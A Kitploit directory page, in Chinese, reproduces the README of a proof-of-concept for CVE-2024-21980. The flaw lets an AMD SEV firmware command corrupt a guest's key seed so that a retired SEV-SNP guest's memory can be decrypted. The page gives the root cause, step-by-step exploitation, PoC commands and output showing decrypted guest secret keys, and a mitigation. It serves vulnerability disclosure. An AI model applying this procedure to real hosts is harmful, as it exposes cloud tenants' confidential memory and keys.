Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2024-21980-poc — 针对CVE-2024-21980的利用程序利用命令缓冲区强制绕过,针对AMD SEV固件以解密已退役的SEV-SNP虚拟机的任意内存。 | Kitploit
工具/GitHubGitHub/freax13/cve-2024-21980-poc
加密/解密工具漏洞分析漏洞利用硬件安全Payload 开发二进制利用
GitHubfreax13/cve-2024-21980-poc

cve-2024-21980-poc

针对CVE-2024-21980的利用程序利用命令缓冲区强制绕过,针对AMD SEV固件以解密已退役的SEV-SNP虚拟机的任意内存。

查看仓库
8152年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

SEV 固件漏洞

本仓库包含一个针对 SEV 固件中漏洞的利用利用方法。该漏洞允许在 SEV-SNP 客户机被解除授权后,解密其任意内存。

已在版本 1.55.16(撰写本文时的最新版本)上进行测试。

根因

SEV 固件包含一个名为 master_handler_table 的表,其中包含所有命令的函数指针以及一些与命令相关的其他属性。其中两个附加属性是 cmd_buf_type 和 snp_cmd_buf_enforcement。cmd_buf_type 决定命令缓冲区是否应从主机内存复制或复制到主机内存。snp_cmd_buf_enforcement 决定这些复制操作是否应受到检查,以验证支持命令缓冲区的内存是否处于 FIRMWARE 或 DEFAULT 状态。对于 cmd_buf_type 为 CMD_BUF_OUTPUT_ONLY、CMD_BUF_INPUT_AND_OUTPUT 或 CMD_BUF_INPUT_AND_OUTPUT_ERROR 的命令,其 snp_cmd_buf_enforcement 均应设置为 true。否则,写回命令输出可能会导致 RMP 覆盖区域内的内存损坏。snp_cmd_buf_enforcement 对于所有此类命令均为 true,但有一个例外—— SEV_MCMD_ID_ATTESTATION:此命令的 cmd_buf_type 设置为 CMD_BUF_INPUT_AND_OUTPUT_ERROR,但 snp_cmd_buf_enforcement 却设置为 false。因此,可以使用指向 RMP 覆盖内存的命令缓冲区执行 SEV_MCMD_ID_ATTESTATION,并在输出写回时导致该内存损坏。

我不明白为什么 SEV_MCMD_ID_ATTESTATION 需要成为例外,在我看来这很可能是打字/复制粘贴错误。

利用方法

SEV_MCMD_ID_ATTESTATION 仅向命令缓冲区中的单个字段 length(4 字节)写入数据,因此我们只能利用这些字节来损坏内存。SEV_MCMD_ID_ATTESTATION 总是写入相同的值——0x000000d0。幸运的是,命令缓冲区没有对齐要求,因此我们可以重复移位命令缓冲区来损坏更大范围的连续内存。我们将利用这一点,用静态模式损坏客户机上下文页面的前 16 个字节。这前 16 个字节包含 UMC 密钥种子,因此通过将其强制为静态值,我们可以迫使客户机的加密密钥成为静态值。

这里提供的利用方法很大程度上基于我为 SWPSIRT-2684/CVE-2023-31355 提供的利用方法。

要利用该漏洞,我们可以执行以下步骤:

  1. 启动一个 SEV 或 SEV-ES 客户机。这是 SEV_MCMD_ID_ATTESTATION 所必需的。保持此客户机运行。
  2. 在地址 0x2000 处为受害者客户机创建一个客户机上下文页面。RMP 覆盖区域内的任何其他地址也可以,不过固定地址有助于调试。
  3. 利用漏洞损坏受害者客户机的 UMC 密钥种子。
  4. 激活受害者客户机上下文页面,并启动和运行受害者客户机。
  5. 解除授权受害者客户机。
  6. 在地址 0x2000 处为攻击者客户机创建一个客户机上下文页面。这必须与步骤 1 中使用的地址相同。
  7. 利用漏洞损坏攻击者客户机的 UMC 密钥种子。
  8. 激活攻击者客户机上下文页面,并使用调试标志启动。
  9. 将受害者客户机的内存分配给攻击者客户机。
  10. 使用 SNP_DBG_ENCRYPT 命令,利用攻击者客户机的上下文页面解密受害者客户机的内存。这会成功,因为受害者客户机和攻击者客户机共享同一个 UMC 密钥种子。

影响

这里的影响至少应与 SWPSIRT-2684 相同。目前尚不清楚此漏洞是否可用于解密正在运行的客户机在解除授权之前的内存。

缓解措施

snp_cmd_buf_enforcement 应为 SEV_MCMD_ID_ATTESTATION 设置为 true。

有趣的是,Linux KVM 主机支持补丁不需要更新,因为它们已经将 SEV_CMD_ATTESTATION_REPORT 列为 sev_cmd_buf_writable 中需要其命令缓冲区处于 FIRMWARE 状态的命令。其他虚拟机监控程序可能需要进行更改,也可能不需要。

PoC 使用方法

  1. 将 BIOS 中的 RMP 覆盖区域更改为 64GiB(0x10000 个 1-MiB 页面)。如果您的系统不支持此操作,则需要相应调整 Linux 补丁。PoC 已在具有 128GiB 内存的系统上测试。
  2. 将 linux-patches 文件夹中的补丁应用到 https://github.com/AMDESE/linux/commits/snp-host-v10 的最新提交。构建、安装并启动内核。
  3. 启动一个 SEV 或 SEV-ES 客户机并保持其运行。
  4. 启动一个受害者 SEV-SNP 客户机。
  5. 停止受害者客户机。
  6. 检查内核日志,找到启动期间创建的秘密页面的位置。
    root@kitploit:~
    root@server:~# dmesg | grep "kvm_amd: Detected secret page"
    [  463.851449] kvm_amd: Detected secret page at pfn 171a24
    
  7. 运行 PoC。
    root@kitploit:~
    root@server:~/firmware-vuln-poc# cargo run -- --pfn 0x171a24 
        Finished dev [unoptimized + debuginfo] target(s) in 0.03s
    Creating VM with identical UMC key seed
    Raw page:
    000: 0300000000000000110fa00000000000000000000000000000000000a98d95ff
    020: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
    040: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
    060: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
    080: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
    0a0: 0000000000000000000000000000000000000000000000000000000000000000
    0c0: 0000000000000000000000000000000000000000000000000000000000000000
    0e0: 0000000000000000000000000000000000000000000000000000000000000000
    100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
    120: 0000000000000000000000000000000000000000000000000000000000000000
    140: 0000000000000000000000000000000000000000000000000000000000000000
    160: c800000000000000000000000000000000000000000000000000000000000000
    180: 0000000000000000000000000000000000000000000000000000000000000000
    1a0: 0000000000000000000000000000000000000000000000000000000000000000
    1c0: 0000000000000000000000000000000000000000000000000000000000000000
    1e0: 0000000000000000000000000000000000000000000000000000000000000000
    200: 0000000000000000000000000000000000000000000000000000000000000000
    220: 0000000000000000000000000000000000000000000000000000000000000000
    240: 0000000000000000000000000000000000000000000000000000000000000000
    260: 0000000000000000000000000000000000000000000000000000000000000000
    280: 0000000000000000000000000000000000000000000000000000000000000000
    2a0: 0000000000000000000000000000000000000000000000000000000000000000
    2c0: 0000000000000000000000000000000000000000000000000000000000000000
    2e0: 0000000000000000000000000000000000000000000000000000000000000000
    300: 0000000000000000000000000000000000000000000000000000000000000000
    320: 0000000000000000000000000000000000000000000000000000000000000000
    340: 0000000000000000000000000000000000000000000000000000000000000000
    360: 0000000000000000000000000000000000000000000000000000000000000000
    380: 0000000000000000000000000000000000000000000000000000000000000000
    3a0: 0000000000000000000000000000000000000000000000000000000000000000
    3c0: 0000000000000000000000000000000000000000000000000000000000000000
    3e0: 0000000000000000000000000000000000000000000000000000000000000000
    400: 0000000000000000000000000000000000000000000000000000000000000000
    420: 0000000000000000000000000000000000000000000000000000000000000000
    440: 0000000000000000000000000000000000000000000000000000000000000000
    460: 0000000000000000000000000000000000000000000000000000000000000000
    480: 0000000000000000000000000000000000000000000000000000000000000000
    4a0: 0000000000000000000000000000000000000000000000000000000000000000
    4c0: 0000000000000000000000000000000000000000000000000000000000000000
    4e0: 0000000000000000000000000000000000000000000000000000000000000000
    500: 0000000000000000000000000000000000000000000000000000000000000000
    520: 0000000000000000000000000000000000000000000000000000000000000000
    540: 0000000000000000000000000000000000000000000000000000000000000000
    560: 0000000000000000000000000000000000000000000000000000000000000000
    580: 0000000000000000000000000000000000000000000000000000000000000000
    5a0: 0000000000000000000000000000000000000000000000000000000000000000
    5c0: 0000000000000000000000000000000000000000000000000000000000000000
    5e0: 0000000000000000000000000000000000000000000000000000000000000000
    600: 0000000000000000000000000000000000000000000000000000000000000000
    620: 0000000000000000000000000000000000000000000000000000000000000000
    640: 0000000000000000000000000000000000000000000000000000000000000000
    660: 0000000000000000000000000000000000000000000000000000000000000000
    680: 0000000000000000000000000000000000000000000000000000000000000000
    6a0: 0000000000000000000000000000000000000000000000000000000000000000
    6c0: 0000000000000000000000000000000000000000000000000000000000000000
    6e0: 0000000000000000000000000000000000000000000000000000000000000000
    700: 0000000000000000000000000000000000000000000000000000000000000000
    720: 0000000000000000000000000000000000000000000000000000000000000000
    740: 0000000000000000000000000000000000000000000000000000000000000000
    760: 0000000000000000000000000000000000000000000000000000000000000000
    780: 0000000000000000000000000000000000000000000000000000000000000000
    7a0: 0000000000000000000000000000000000000000000000000000000000000000
    7c0: 0000000000000000000000000000000000000000000000000000000000000000
    7e0: 0000000000000000000000000000000000000000000000000000000000000000
    800: 0000000000000000000000000000000000000000000000000000000000000000
    820: 0000000000000000000000000000000000000000000000000000000000000000
    840: 0000000000000000000000000000000000000000000000000000000000000000
    860: 0000000000000000000000000000000000000000000000000000000000000000
    880: 0000000000000000000000000000000000000000000000000000000000000000
    8a0: 0000000000000000000000000000000000000000000000000000000000000000
    8c0: 0000000000000000000000000000000000000000000000000000000000000000
    8e0: 0000000000000000000000000000000000000000000000000000000000000000
    900: 0000000000000000000000000000000000000000000000000000000000000000
    920: 0000000000000000000000000000000000000000000000000000000000000000
    940: 0000000000000000000000000000000000000000000000000000000000000000
    960: 0000000000000000000000000000000000000000000000000000000000000000
    980: 0000000000000000000000000000000000000000000000000000000000000000
    9a0: 0000000000000000000000000000000000000000000000000000000000000000
    9c0: 0000000000000000000000000000000000000000000000000000000000000000
    9e0: 0000000000000000000000000000000000000000000000000000000000000000
    a00: 0000000000000000000000000000000000000000000000000000000000000000
    a20: 0000000000000000000000000000000000000000000000000000000000000000
    a40: 0000000000000000000000000000000000000000000000000000000000000000
    a60: 0000000000000000000000000000000000000000000000000000000000000000
    a80: 0000000000000000000000000000000000000000000000000000000000000000
    aa0: 0000000000000000000000000000000000000000000000000000000000000000
    ac0: 0000000000000000000000000000000000000000000000000000000000000000
    ae0: 0000000000000000000000000000000000000000000000000000000000000000
    b00: 0000000000000000000000000000000000000000000000000000000000000000
    b20: 0000000000000000000000000000000000000000000000000000000000000000
    b40: 0000000000000000000000000000000000000000000000000000000000000000
    b60: 0000000000000000000000000000000000000000000000000000000000000000
    b80: 0000000000000000000000000000000000000000000000000000000000000000
    ba0: 0000000000000000000000000000000000000000000000000000000000000000
    bc0: 0000000000000000000000000000000000000000000000000000000000000000
    be0: 0000000000000000000000000000000000000000000000000000000000000000
    c00: 0000000000000000000000000000000000000000000000000000000000000000
    c20: 0000000000000000000000000000000000000000000000000000000000000000
    c40: 0000000000000000000000000000000000000000000000000000000000000000
    c60: 0000000000000000000000000000000000000000000000000000000000000000
    c80: 0000000000000000000000000000000000000000000000000000000000000000
    ca0: 0000000000000000000000000000000000000000000000000000000000000000
    cc0: 0000000000000000000000000000000000000000000000000000000000000000
    ce0: 0000000000000000000000000000000000000000000000000000000000000000
    d00: 0000000000000000000000000000000000000000000000000000000000000000
    d20: 0000000000000000000000000000000000000000000000000000000000000000
    d40: 0000000000000000000000000000000000000000000000000000000000000000
    d60: 0000000000000000000000000000000000000000000000000000000000000000
    d80: 0000000000000000000000000000000000000000000000000000000000000000
    da0: 0000000000000000000000000000000000000000000000000000000000000000
    dc0: 0000000000000000000000000000000000000000000000000000000000000000
    de0: 0000000000000000000000000000000000000000000000000000000000000000
    e00: 0000000000000000000000000000000000000000000000000000000000000000
    e20: 0000000000000000000000000000000000000000000000000000000000000000
    e40: 0000000000000000000000000000000000000000000000000000000000000000
    e60: 0000000000000000000000000000000000000000000000000000000000000000
    e80: 0000000000000000000000000000000000000000000000000000000000000000
    ea0: 0000000000000000000000000000000000000000000000000000000000000000
    ec0: 0000000000000000000000000000000000000000000000000000000000000000
    ee0: 0000000000000000000000000000000000000000000000000000000000000000
    f00: 0000000000000000000000000000000000000000000000000000000000000000
    f20: 0000000000000000000000000000000000000000000000000000000000000000
    f40: 0000000000000000000000000000000000000000000000000000000000000000
    f60: 0000000000000000000000000000000000000000000000000000000000000000
    f80: 0000000000000000000000000000000000000000000000000000000000000000
    fa0: 0000000000000000000000000000000000000000000000000000000000000000
    fc0: 0000000000000000000000000000000000000000000000000000000000000000
    fe0: 0000000000000000000000000000000000000000000000000000000000000000
    
    Secrets page:
    imi_en: false
    FMS: 00a00f11
    gosvw: 000000000000000000000000a98d95ff
    vmpck0: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
    vmpck1: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
    vmpck2: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
    vmpck3: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
    VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
    tsc_factor: 200
    
    请注意,秘密页面并没有什么特别之处,此利用方法也可用于解密普通页面。PoC 中使用秘密页面是因为它们具有非常可识别的内容,可以轻松看出受害者内存的解密是否成功。
下载工具